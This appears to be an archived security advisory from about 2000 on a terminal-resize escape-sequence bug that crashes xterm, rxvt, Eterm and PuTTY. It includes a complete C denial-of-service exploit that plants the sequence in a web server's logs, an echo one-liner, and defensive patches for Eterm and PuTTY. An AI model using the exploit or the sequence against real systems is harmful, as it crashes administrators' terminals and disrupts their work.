COMMAND

    xterm

SYSTEMS AFFECTED

    xterm

PROBLEM

    Kit Knox found following.  By sending the VT control characters to
    resize a window it is possible  to cause an xterm to crash  and in
    some cases consume all available  memory.  This itself isn't  much
    of a problem,  except that remote  users can inject  these control
    characters into your xterm numerous ways including:

        o Directories and filenames on a rogue FTP servers.
        o Rogue banner messages on ftp, telnet, mud daemons.
        o Log files (spoofed syslog messages, web server logs, ftp server logs)

    This sample exploit  injects these control  characters into a  web
    get request.  If an admin  were to cat this log file,  or happened
    to be  doing a  "tail -f  access_log" at  the time  of attack they
    would find their xterm crash.

    Embedding  "ESCAPE[4;65535;65535t"  (where  escape  is  the escape
    character)  inside  files,  directories,  etc  will  have the same
    effect as this code.

    /*
     *
     * xterm Denial of Service Attack
     * (C) 2000 Kit Knox <kit@rootshell.com> - 5/31/2000
     *
     * Tested against: xterm (XFree86 3.3.3.1b(88b)  -- crashes
     *                 rxvt v2.6.1 -- consumes all available memory and then
     *                                crashes.
     *
     * Not vulnerable: KDE konsole 0.9.11
     *                 Secure CRT 3.0.x
     *
     *
     */

    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>

    int sock;

    int
    main (int argc, char *argv[])
    {
      struct hostent *he;
      struct sockaddr_in sa;
      char buf[1024];
      char packet[1024];
      int i;

      fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n");
      if (argc != 2)
        {
          fprintf (stderr, "usage: %s <host/ip>\n", argv[0]);
          return (-1);
        }

      sock = socket (AF_INET, SOCK_STREAM, 0);
      sa.sin_family = AF_INET;
      sa.sin_port = htons (80);
      he = gethostbyname (argv[1]);
      if (!he)
        {
          if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
	    return (-1);
        }
      else
        {
          bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
        }
      if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0)
        {
          fprintf (stderr,
	           "Fatal Error: Can't connect to web server.\n");
          return (-1);
        }
      sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n");
      write (sock, packet, strlen(packet));
      close (sock);
      fprintf(stderr, "Done.\n");
    }

    Sebastian Hans tried this with my xterm (XFree86 3.3.3.1b(88b))  -
    it didn't work.  Substituting 65536 for 65535 did the job:

        echo -e "\033[4;65536;65536t"

    Confirmed also against Eterm 0.8.10.   In fact, it took X all  the
    way  down  (XFree86  4.0).   All  current  versions  of  Eterm are
    vulnerable.

    OpenWindows xterm is  not vulnerable (SunOS4+).   HP-UX CDE  xterm
    is not vulnerable.

    The code above breaks PuTTY [a Win32 SSH client] as well.

SOLUTION

    Attached are  patches to  Eterm 0.8.10  and 0.9.   Similar changes
    have been committed to 0.8.11 and 0.9.1 in CVS.

    Index: src/command.c
    ===================================================================
    RCS file: /cvs/enlightenment/Eterm/src/command.c,v
    retrieving revision 1.1.1.1.2.7
    diff -u -r1.1.1.1.2.7 command.c
    --- src/command.c	1999/11/02 16:34:35	1.1.1.1.2.7
    +++ src/command.c	2000/06/02 02:06:56
    @@ -4694,6 +4694,9 @@
 	      return;		/* Make sure there are 2 args left */
 	    y = args[++i];
 	    x = args[++i];
    +	if (x > scr->width || y > scr->height) {
    +	  return;
    +        }
 	    XResizeWindow(Xdisplay, TermWin.parent, x, y);
 	    break;
           case 5:
    @@ -4713,6 +4716,9 @@
 	      return;		/* Make sure there are 2 args left */
 	    y = args[++i];
 	    x = args[++i];
    +	if (x > (scr->width / TermWin.fwidth) || y > (scr->height / TermWin.fheight)) {
    +	  return;
    +        }
 	    XResizeWindow(Xdisplay, TermWin.parent,
 		          Width2Pixel(x) + 2 * TermWin.internalBorder + (scrollbar_visible()? scrollbar_total_width() : 0),
 		          Height2Pixel(y) + 2 * TermWin.internalBorder + (menubar_visible()? menuBar_TotalHeight() : 0));

    Index: src/term.c
    ===================================================================
    RCS file: /cvs/enlightenment/Eterm/src/term.c,v
    retrieving revision 1.33
    diff -u -r1.33 term.c
    --- src/term.c	2000/01/17 21:29:27	1.33
    +++ src/term.c	2000/06/02 02:06:44
    @@ -1232,6 +1232,8 @@
 	      return;		/* Make sure there are 2 args left */
 	    y = args[++i];
 	    x = args[++i];
    +        UPPER_BOUND(y, scr->height);
    +        UPPER_BOUND(x, scr->width);
 	    XResizeWindow(Xdisplay, TermWin.parent, x, y);
     #ifdef USE_XIM
 	    xim_set_status_position();
    @@ -1254,6 +1256,8 @@
 	      return;		/* Make sure there are 2 args left */
 	    y = args[++i];
 	    x = args[++i];
    +        UPPER_BOUND(y, scr->height / TermWin.fheight);
    +        UPPER_BOUND(x, scr->width / TermWin.fwidth);
 	    XResizeWindow(Xdisplay, TermWin.parent,
 		          Width2Pixel(x) + 2 * TermWin.internalBorder + (scrollbar_is_visible()? scrollbar_trough_width() : 0),
 		          Height2Pixel(y) + 2 * TermWin.internalBorder);

    aterm 0.3.6  is not  vulnerable.   When you  cat a file containing
    that string, it  displays nothing.   Using a text  editor, you can
    see the contents.   Redhat 6.0+: gnome-terminal is  not vulnerable
    either.  Xterm is, X seems stable though.

    PuTTY  development  snapshot  appears  to  be  OK  now.    Current
    development snapshots  of PuTTY  are now  believed robust.  A 0.49
    release containing the fix will be coming out RSN, since  security
    is the one thing that really makes me get off my butt and put  new
    releases out _quickly_.  The patch is quoted below.

    Index: src/putty/terminal.c
    ===================================================================
    RCS file: /home/cvs/putty/terminal.c,v
    retrieving revision 1.18
    retrieving revision 1.19
    diff -u -r1.18 -r1.19
    --- src/putty/terminal.c	2000/03/17 10:46:59	1.18
    +++ src/putty/terminal.c	2000/06/05 16:33:58	1.19
    @@ -1209,7 +1209,11 @@
 		     */
 		    compatibility(VT340TEXT);
 		    if (esc_nargs<=1 && (esc_args[0]<1 || esc_args[0]>=24)) {
    -		    request_resize (cols, def(esc_args[0], 24), 0);
    +		    unsigned int newrows = def(esc_args[0], 24);
    +		    /* Hack: prevent big-resize DoS attack. */
    +		    if (newrows > max(512, cfg.height))
    +			newrows = max(512, cfg.height);
    +		    request_resize (cols, newrows, 0);
 		        deselect();
 		    }
 		    break;
    @@ -1221,7 +1225,11 @@
 		     */
 		    compatibility(VT420);
 		    if (esc_nargs==1 && esc_args[0]>=24) {
    -		    request_resize (cols, def(esc_args[0], cfg.height), 0);
    +		    unsigned int newrows = def(esc_args[0], cfg.height);
    +		    /* Hack: prevent big-resize DoS attack. */
    +		    if (newrows > max(512, cfg.height))
    +			newrows = max(512, cfg.height);
    +		    request_resize (cols, newrows, 0);
 		        deselect();
 		    }
 		    break;
    @@ -1232,7 +1240,11 @@
 		     */
 		    compatibility(VT340TEXT);
 		    if (esc_nargs<=1) {
    -		    request_resize (cols, def(esc_args[0], cfg.width), 0);
    +		    unsigned int newcols = def(esc_args[0], cfg.width);
    +		    /* Hack: prevent big-resize DoS attack. */
    +		    if (newcols > max(512, cfg.width))
    +			newcols = max(512, cfg.width);
    +		    request_resize (newcols, rows, 0);
 		        deselect();
 		    }
 		    break;